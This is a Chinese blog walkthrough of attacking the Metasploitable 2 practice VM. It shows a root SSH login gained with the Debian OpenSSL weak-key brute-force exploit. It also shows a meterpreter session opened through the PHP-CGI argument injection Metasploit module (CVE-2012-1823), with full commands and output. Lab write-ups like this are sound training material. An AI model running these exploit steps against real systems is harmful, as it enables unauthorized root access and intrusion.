metloitable 2 c4rp3nt3r 测试笔记
最近metasploit发布了metasploitable 2,作为一个练习用的linux操作. 采用Ubuntu 8.04的OS,搭配各种,正好满足了广大穷屌丝日益增长的装X和意淫需求.
下载地址: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
metasploit官方的用户指南,详见: https://community.rapid7.com/docs/DOC-1875
孤陋寡闻的我原来没有玩过这么高级的东西,就下载回来测试了下一把.
操起nmap 和nessus一阵狂扫发现N多服务N多高危漏洞.
metasploitable就好比一道练习题,做题当然要捡自己掌握不好的来做,否则失去做题的意义了.很多一击必中的漏洞和后门都没多大意思,我们对结果不太确定的东西感兴趣.先看看22端口扫描出的漏洞.
Debian OpenSSH/OpenSSL Package Random Number Generator Weakness CVE-2008-0166
既然是metasploitable那么就请metasploit出马吧
搜一下有木有exp
msf > search cve:2008-0166
msf >
尼玛,这个真木有,估计metasploit pro应该有这个exp吧,穷屌丝哪有钱买那个,谁有的,真心求.
我擦,穷屌丝只好搜搜exploit-db了.本地搜索的话可以先svn update一下.
1 root@bt:/pentest/exploits/exploitdb# ./searchsploit openssl
2 Description Path
3 --------------------------------------------------------------------------- -------------------------
4 Brute forcer for OpenSSL ASN.1 parsing bugs (<=0.9.6j <=0.9.7b) /multiple//146.c
5 Apache OpenSSL Remote Exploit (Multiple Targets) (OpenFuckV2.c) /linux/remote/764.c
6 OpenSSL < 0.9.7l / 0.9.8d SSLv2 Client Crash Exploit /multiple/dos/4773.pl
7 Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit /multiple/remote/5622.txt
8 Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit (ruby) /multiple/remote/5632.rb
9 Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit () /linux/remote/5720.py
10 OpenSSL <= 0.9.8k /multiple/dos/8720.c
11 OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS Exploit /multiple/dos/8873.c
12 OpenSSL remote DoS /linux/dos/12334.c
13 OpenSSL ASN1 BIO Memory Corruption Vulnerability /multiple/dos/18756.txt
挑一个python的exp,打开瞧瞧,就会发现贴心的用法
1 # Autor: hitz - WarCat team (warcat.no-ip.org)
2 # Collaborator: pretoriano
3 #
4 # 1. Download http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
5 #
6 # 2. Extract it to a directory
7 #
8 # 3. Execute the python script
9 # - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5
10 # - execute: python exploit.py (without parameters) to display the help
11 # - if the key is found, the script shows something like that:
12 # Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121
13 # Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240
好吧开干
1 下载私钥
2 wget http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
3 解压之
4 tar jxvf debian_ssh_rsa_2048_x86.tar.bz2
5 运行exploit尝试私钥登录
6 root@bt:~/Desktop# python 5720.py
7
8 -OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org
9 ./exploit.py <dir> <host> <user> [[port] [threads]]
10 <dir>: Path to SSH privatekeys (ex. /home/john/keys) without final slash
11 <host>: The victim host
12 <user>: The user of the victim host
13 [port]: The SSH port of the victim host (default 22)
14 [threads]: Number of threads (default 4) Too big numer is bad
15 root@bt:~/Desktop# python 5720.py ~/Desktop/rsa/2048/ 192.168.1.103 root
等到花儿谢了之后,发现成功了
赶紧试一试.
1 root@bt:~/Desktop# ssh -lroot -p22 -i /root/Desktop/rsa/2048//57c3115d77c56390332dc5c49978627a-5429 192.168.1.103
2 Last login: Thu Jun 21 21:06:33 2012 from 192.168.1.100
3 metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
4
5 The programs included with the Ubuntu system are free software;
6 the exact distribution terms for each program are described in the
7 individual files in /usr/share/doc/*/copyright.
8
9 Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
10 applicable law.
11
12 To access official Ubuntu documentation, please visit:
13
14 http://help.ubuntu.com/
15
16 You have new mail.
17 root@metasploitable:~# id
18 uid=0(root) gid=0(root) groups=0(root)
19 root@metasploitable:~#
我勒个去,真登录进去了,这尼玛太也容易了.
继续看看吧,别人公布的利用方法咱就不看了.
看看web目录有些什么菜吧.有一个存在漏洞的的phpMyAdmin.还有一套wiki程序以及一些专门练习web漏洞用的Mutillidae和DVWA.
练习用的太简单了咱就不玩了,TWiki也不好玩,的密码前面nessus已经扫描出来了,web程序也不好玩.扫扫目录看有什么东西没有.
找一个轻量级的perl程序随便扫扫先.结果如下
1 ++++++++++++++++++++++++++++++++++++
2 [+] Exists ->http://192.168.1.103/index.php 200 OK
3 [+] Found ->http://192.168.1.103/phpinfo.php 200 OK
4 [+] Found ->http://192.168.1.103/phpMyAdmin 200 OK
5 [-] Forbidden ->http://192.168.1.103/server-status 403 Forbidden
6 [+] Exists ->http://192.168.1.103/.bash_history 200 OK
7 [-] Forbidden ->http://192.168.1.103/cgi-bin/ 403 Forbidden
8 ++++++++++++++++++++++++++++++++++++
看看phpinfo.php吧.www.2cto.com 某国际说除了phpinfo.php啥都没有,其实有时候一个phpinfo.php足够拿个shell了.
看了下是cgi方式运行的php,访问
1 http://192.168.1.103/phpinfo.php?-s
尼玛这不是那个谁吗, CGI Argument Injection 漏洞啊
这次再请出metasploit出场,你是主角啊,给点力行不?
1 msf > search cve:2012-1823
2
3 Matching Modules
4 ================
5
6 Name Disclosure Date Rank Description
7 ---- --------------- ---- -----------
8 exploit/multi/http/php_cgi_arg_injection 2012-05-03 excellent PHP CGI Argument Injection
9
10 msf >
这次真有了,好吧metasploit时间到了
1 msf exploit(php_cgi_arg_injection) > use exploit/multi/http/php_cgi_arg_injection
2 msf exploit(php_cgi_arg_injection) > set RHOST 192.168.1.103
3 RHOST => 192.168.1.103
4 msf exploit(php_cgi_arg_injection) > set TARGETURI /phpinfo.php
5 TARGETURI => /phpinfo.php
6 msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/bind_tcp
7 PAYLOAD => php/meterpreter/bind_tcp
8 msf exploit(php_cgi_arg_injection) > exploit
9
10 [*] Started bind handler
11 [*] Sending stage (39217 bytes) to 192.168.1.103
12 [*] Meterpreter session 1 opened (192.168.1.100:35125 -> 192.168.1.103:4444) at 2012-06-22 11:38:21 +0800
13
14 meterpreter > pwd
15 /var/www
16 meterpreter > getuid
17 Server username: www-data (33)
18 meterpreter >
好吧用metasploit成功了一次.总算没白叫metasploitable.
之后又测试了里面的web漏洞,没什么意思就不写了.啥时候国人搞一个类似的系统呢?放上国产的cms,别放那么多溢出和弱口令,搞个游戏或者竞赛其实挺好玩的
from：0x50sec.org
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尼玛这不是那个谁吗, CGI Argument Injection 漏洞啊
好吧用metasploit成功了一次.总算没白叫metasploitable.
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